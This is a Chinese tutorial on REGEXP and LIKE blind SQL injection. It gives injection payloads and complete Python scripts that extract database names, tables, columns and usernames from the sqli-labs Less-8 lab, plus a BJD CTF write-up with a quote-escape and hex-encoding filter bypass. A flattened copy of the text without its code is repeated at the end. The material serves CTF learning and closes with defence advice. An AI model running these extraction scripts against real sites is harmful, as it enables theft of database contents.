REGEXP注入与LIKE注入学习笔记
字数 979 2025-08-19 12:40:57

REGEXP注入与LIKE注入深入解析

0x00 前言

REGEXP注入和LIKE注入是SQL注入中的两种特殊技术,主要用于盲注场景。本文将从原理分析、基本注入方法、盲注实战等方面全面介绍这两种注入技术,并通过实际CTF题目复现加深理解。

0x01 REGEXP注入分析

注入原理

REGEXP注入即正则表达式注入,又称盲注值正则表达式攻击。主要应用于盲注场景,原理是通过正则表达式匹配查询结果。

基本注入方法

  1. 基础语法
select (select语句) regexp '正则'
  1. 示例
-- 正常查询
select username from users where id=1;

-- 正则注入,匹配则返回1,否则返回0
select (select username from users where id=1) regexp '^a';

^表示模式串开头,判断username字段下id=1的数据是否以a开头

  1. 替代WHERE条件中的=号
select * from users where password regexp '^ad';
  1. 常用正则语句
regexp '^[a-z]'  -- 判断第一个字符是否在a-z中
regexp '^r'      -- 判断第一个字符是否为r
regexp '^r[a-z]' -- 判断第二个字符是否在a-z中
  1. 联合查询中使用
1 union select 1,database() regexp '^s',3--+

REGEXP盲注实战

以sqli-labs Less-8为例:

  1. 判断数据库长度
' or (length(database())=8)--+
  1. 判断数据库名
' or database() regexp '^s'--+
' or database() regexp 'y$'--+
  1. 自动化脚本
import requests
import string

strs = string.printable
url = "http://x.x.x.x:8001/Less-8/index.php?id="

database1 = "' or database() regexp '^{}'--+"
table1 = "' or (select table_name from information_schema.tables where table_schema=database() limit 0,1) regexp '^{}'--+"
column1 = "' or (select column_name from information_schema.columns where table_name=\"users\" and table_schema=database() limit 1,1) regexp '^{}'--+"
data1 = "' or (select username from users limit 0,1) regexp '^{}'--+"

payload = database1
if __name__ == "__main__":
    name = ''
    for i in range(1,40):
        char = ''
        for j in strs:
            payloads = payload.format(name+j)
            urls = url+payloads
            r = requests.get(urls)
            if "You are in" in r.text:
                name += j
                print(j,end='')
                char = j
                break
        if char =='#':
            break

0x02 LIKE注入分析

LIKE匹配原理

  • %:匹配任意字符串的零个或多个字符
  • _:匹配任意单个字符

基本注入方法

  1. 判断首字符
1 union select 1,database() like 's%',3 --+
  1. 判断前两个字符
1 union select 1,database() like 'se%',3 --+
  1. 判断是否包含特定字符串
1 union select 1,database() like '%se%',3 --+
  1. 判断字符长度
1 union select 1,database() like '_____',3 --+  -- 判断是否为5个字符
1 union select 1,database() like 's____',3 --+  -- 判断第一个字符是否为s

LIKE盲注实战

以sqli-labs Less-8为例:

  1. 判断数据库长度
' or database() like '________'--+
  1. 判断数据库名
' or database() like 's%'--+
' or database() like 's_______'--+
  1. 自动化脚本
import requests
import string

strs = string.printable
url = "http://x.x.x.x:8001/Less-8/index.php?id="

database1 = "' or database() like '{}%'--+"
table1 = "' or (select table_name from information_schema.tables where table_schema=database() limit 0,1) like '{}%'--+"
column1 = "' or (select column_name from information_schema.columns where table_name=\"users\" and table_schema=database() limit 1,1) like '{}%'--+"
data1 = "' or (select username from users limit 0,1) like '{}%'--+"

payload = database1
if __name__ == "__main__":
    name = ''
    for i in range(1,40):
        char = ''
        for j in strs:
            payloads = payload.format(name+j)
            urls = url+payloads
            r = requests.get(urls)
            if "You are in" in r.text:
                name += j
                print(j,end='')
                char = j
                break
        if char =='#':
            break

0x03 REGEXP注入实战(BJD CTF题目复现)

题目分析

  1. 过滤情况

    • 单引号、双引号被ban
    • union和select被ban
    • =和like被ban
  2. 绕过方法:SQL语句逃逸单引号

    • 使用反斜线\转义单引号
    • 示例:
      -- 原始SQL
      select username,password from users where username='$user' and password='$pwd'
      
      -- 输入admin\作为用户名,or 1#作为密码
      select username,password from users where username='admin\' and password=' or 1#'
      
      由于单引号被转义,and password=成为username的一部分,or 1逃逸出来成为注入点

注入实现

  1. 使用REGEXP注入,并添加binary关键字区分大小写

  2. 转换为16进制(数据库执行查询时会自动转换为字符串)

  3. 最终脚本

import requests
import string

def str2hex(string):
  result = ''
  for i in string:
    result += hex(ord(i))
  result = result.replace('0x','')
  return '0x'+result

strs = string.ascii_letters+string.digits
url = "http://3fb55301-c0be-4134-830b-fda52f321221.node3.buuoj.cn/"
headers = {
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0'
}
payload = 'or password regexp binary {}#'

if __name__ == "__main__":
    name = ''
    for i in range(1,40):
        for j in strs:
            passwd = str2hex('^'+name+j)
            payloads = payload.format(passwd)
            postdata={
                'username':'admin\\',
                'password':payloads
            }
            r = requests.post(url,data=postdata,headers=headers)
            if "BJD need" in r.text:
                name += j
                print(j,end='')
                break

0x04 总结

  1. REGEXP注入

    • 适用于盲注场景
    • 通过正则表达式匹配查询结果
    • 可替代WHERE条件中的=号
  2. LIKE注入

    • 使用%和_通配符进行匹配
    • 适用于字符匹配场景
  3. 特殊技巧

    • SQL语句逃逸单引号
    • 16进制转换绕过过滤
    • binary关键字区分大小写
  4. 防御建议

    • 严格过滤特殊字符
    • 使用参数化查询
    • 限制数据库用户权限

通过本文的学习,读者可以全面掌握REGEXP和LIKE注入的原理、方法和实战技巧,在CTF比赛和实际渗透测试中灵活应用。

REGEXP注入与LIKE注入深入解析 0x00 前言 REGEXP注入和LIKE注入是SQL注入中的两种特殊技术,主要用于盲注场景。本文将从原理分析、基本注入方法、盲注实战等方面全面介绍这两种注入技术,并通过实际CTF题目复现加深理解。 0x01 REGEXP注入分析 注入原理 REGEXP注入即正则表达式注入,又称盲注值正则表达式攻击。主要应用于盲注场景,原理是通过正则表达式匹配查询结果。 基本注入方法 基础语法 : 示例 : ^ 表示模式串开头,判断username字段下id=1的数据是否以a开头 替代WHERE条件中的=号 : 常用正则语句 : 联合查询中使用 : REGEXP盲注实战 以sqli-labs Less-8为例: 判断数据库长度 : 判断数据库名 : 自动化脚本 : 0x02 LIKE注入分析 LIKE匹配原理 % :匹配任意字符串的零个或多个字符 _ :匹配任意单个字符 基本注入方法 判断首字符 : 判断前两个字符 : 判断是否包含特定字符串 : 判断字符长度 : LIKE盲注实战 以sqli-labs Less-8为例: 判断数据库长度 : 判断数据库名 : 自动化脚本 : 0x03 REGEXP注入实战(BJD CTF题目复现) 题目分析 过滤情况 : 单引号、双引号被ban union和select被ban =和like被ban 绕过方法 :SQL语句逃逸单引号 使用反斜线 \ 转义单引号 示例: 由于单引号被转义, and password= 成为username的一部分, or 1 逃逸出来成为注入点 注入实现 使用REGEXP注入 ,并添加 binary 关键字区分大小写 转换为16进制 (数据库执行查询时会自动转换为字符串) 最终脚本 : 0x04 总结 REGEXP注入 : 适用于盲注场景 通过正则表达式匹配查询结果 可替代WHERE条件中的=号 LIKE注入 : 使用%和_ 通配符进行匹配 适用于字符匹配场景 特殊技巧 : SQL语句逃逸单引号 16进制转换绕过过滤 binary关键字区分大小写 防御建议 : 严格过滤特殊字符 使用参数化查询 限制数据库用户权限 通过本文的学习,读者可以全面掌握REGEXP和LIKE注入的原理、方法和实战技巧,在CTF比赛和实际渗透测试中灵活应用。